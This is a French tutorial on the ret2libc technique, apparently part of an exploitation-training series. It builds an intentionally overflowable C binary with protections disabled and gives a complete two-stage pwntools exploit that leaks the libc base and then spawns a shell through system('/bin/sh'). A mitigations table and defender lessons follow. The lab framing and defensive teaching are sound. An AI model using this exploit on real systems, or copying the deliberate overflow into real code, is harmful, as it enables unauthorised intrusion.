Aller au contenu

Retourner dans la libc : la technique ret2libc

NX est actif et le binaire est minuscule, mais la libc est mappée et pleine de code utile. Fuitez sa base malgré l'ASLR, puis retournez dans system("/bin/sh").

Publié le 5 min de lecture

Ceci est le troisième tutoriel de la section Techniques d'exploitation. Le guide ROP construisait un appel système execve à la main à partir de gadgets. Il existe souvent un chemin plus court : le programme est lié dynamiquement, donc la libc est mappée dans le processus — et la libc contient à la fois system() et la chaîne "/bin/sh". Retourner directement dans system("/bin/sh"), c'est ret2libc.

Le hic, c'est l'ASLR : la base de la libc est aléatoire, il faut donc la fuiter avant de pouvoir l'utiliser. Cette structure en deux étapes — fuiter, puis exploiter — est le motif le plus important de ce guide, et il revient partout dans l'exploitation moderne.

Comme toujours, nous construisons la cible nous-mêmes et travaillons dans un labo jetable. Voir les règles du labo.

La cible

/* vuln.c — lié dynamiquement, NX activé, canari désactivé, pas de PIE. */
#include <stdio.h>
#include <unistd.h>

void vuln(void) {
    char buf[64];
    read(0, buf, 256);      /* le bug : 256 octets dans 64 */
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c   # lié dynamiquement

checksec montre NX activé et, surtout, pas de PIE sur l'exécutable lui-même — les PLT/GOT et les gadgets propres au binaire sont donc à des adresses fixes. Seule la libc bouge.

NX:       NX enabled
PIE:      No PIE (0x400000)

Le décalage jusqu'à l'adresse de retour est de 72, trouvé avec la même méthode cyclique que précédemment.

Étape 1 — fuiter une adresse de la libc

Le plan : utiliser une courte chaîne ROP pour appeler puts(puts@got) — cela affiche l'adresse d'exécution stockée dans la GOT pour puts, qui est une adresse à l'intérieur de la libc chargée. Puis retourner dans main pour que le programme relise notre entrée une seconde fois, pour l'étape 2.

# leak.py (étape 1 de l'exploit)
from pwn import *

context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")   # la libc que ce binaire exécute

rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]

payload  = b"A" * 72
payload += p64(pop_rdi) + p64(elf.got["puts"])  # rdi = &puts@got
payload += p64(elf.plt["puts"])                 # appelle puts(cette adresse)
payload += p64(elf.symbols["main"])             # retourne dans main pour l'étape 2

io = process("./vuln")
io.send(payload)

leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]      # retrouve la base de la libc
log.success("fuite puts@libc : %#x", leak)
log.success("base libc :       %#x", libc.address)

libc.address = leak - libc.symbols["puts"] est toute l'astuce : la fuite vaut base + décalage_de_puts, et pwntools connaît décalage_de_puts pour cette libc, donc la soustraction donne la base. Une fois libc.address défini, pwntools résout tous les autres symboles de la libc à leur adresse d'exécution correcte.

Étape 2 — retourner dans system("/bin/sh")

Le programme est maintenant revenu au début de main, en attente d'entrée à nouveau. Cette fois, nous envoyons la vraie charge utile :

# ...suite de leak.py
binsh   = next(libc.search(b"/bin/sh\x00"))   # adresse de la chaîne dans la libc
system  = libc.symbols["system"]
ret     = rop.find_gadget(["ret"])[0]         # alignement de pile sur 16 octets

payload2  = b"A" * 72
payload2 += p64(ret)                          # aligne la pile (movaps)
payload2 += p64(pop_rdi) + p64(binsh)         # rdi = "/bin/sh"
payload2 += p64(system)                       # system("/bin/sh")

io.send(payload2)
io.interactive()
$ python3 leak.py
[+] fuite puts@libc : 0x7f3c9e0a4ed0
[+] base libc :       0x7f3c9e01f000
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)

Le ret nu avant l'appel corrige le même problème d'alignement sur 16 octets qui touche chaque appel de libc en x86-64. Sans lui, system a tendance à planter dans un movaps.

Le faire contre une libc distante/inconnue

En local, vous connaissez la libc. À distance, non — vous fuitez une ou deux adresses de fonctions et identifiez la version à partir d'une base de données de libc (les 12 bits de poids faible de l'adresse d'une fonction sont fixés par l'alignement de page, ce qui restreint vite les candidates). Puis vous utilisez les décalages de cette libc. Utiliser la mauvaise version est la raison classique pour laquelle la base calculée est fausse.

Réactiver les mitigations

PIE sur l'exécutable

Avec -no-pie, les thunks PLT et le gadget pop rdi étaient à des adresses fixes, si bien que l'étape 1 pouvait s'exécuter sans aucune fuite. Recompilez avec -pie et même les adresses des gadgets de la chaîne ROP deviennent aléatoires — il vous faut désormais une fuite avant de pouvoir fuiter, ce qui implique généralement un second bug ou une astuce d'écrasement partiel. Le PIE transforme un exploit à un bug en un problème à deux bugs.

Pile fantôme / CET

system est atteint par un ret depuis notre pile corrompue. Une pile fantôme (-fcf-protection=full, Intel CET) conserve la vraie adresse de retour et détecte l'incohérence sur ce ret, avortant avant que system ne s'exécute.

Full RELRO n'est pas le correctif ici

ret2libc ne touche pas la GOT, donc RELRO ne l'arrête pas (c'est la technique du guide suivant). Cela vaut la peine d'être intériorisé : les mitigations sont ciblées, et « nous avons activé RELRO » ne dit rien sur ret2libc.

MitigationEffet sur ret2libc
Canari de pileArrête l'écrasement avant que l'une ou l'autre étape ne s'exécute
PIE + ASLRRandomise aussi les gadgets ; nécessite une fuite avant la fuite
Pile fantôme / CETAvorte sur le ret vers system
Full RELROAucun effet — la GOT n'est jamais écrite

Ce que cela enseigne à un défenseur

  • La fuite est la clé de voûte. La plupart des exploits modernes sont « fuiter, puis agir ». Un bug de divulgation d'information que vous jugeriez peu grave isolément est souvent l'élément déclencheur d'un bug de corruption mémoire jugé critique. Triez-les ensemble — voir lire les rapports de crash.
  • Livrez du PIE. Contre un binaire -no-pie, l'étape 1 n'a eu besoin d'aucune fuite. Le PIE est ce qui force l'attaquant à trouver d'abord une primitive de divulgation.
  • checksec par binaire, bibliothèques comprises. Un exécutable principal durci qui charge une bibliothèque auxiliaire -no-pie sans canari hérite du maillon le plus faible.

Points clés

  • ret2libc retourne dans une seule fonction de la libc — généralement system("/bin/sh") — au lieu de construire un appel système à la main.
  • L'ASLR impose un exploit en deux étapes : fuiter une adresse résolue de la libc, calculer la base, puis agir.
  • libc.address = leak - libc.symbols[fn] retrouve la base ; faites correspondre la version exacte de la libc.
  • Le PIE et les piles fantômes sont les mitigations qui mordent ici ; RELRO non, car ret2libc ne touche jamais la GOT.

Ensuite : détourner la GOT, où nous y écrivons — et où Full RELRO compte enfin.

Guides associés

0x7000 · Techniques d'exploitation

one-gadget : une adresse vers un shell

Parfois vous ne contrôlez qu'un pointeur. Un one-gadget est une seule adresse libc qui appelle execve("/bin/sh") si ses contraintes tiennent.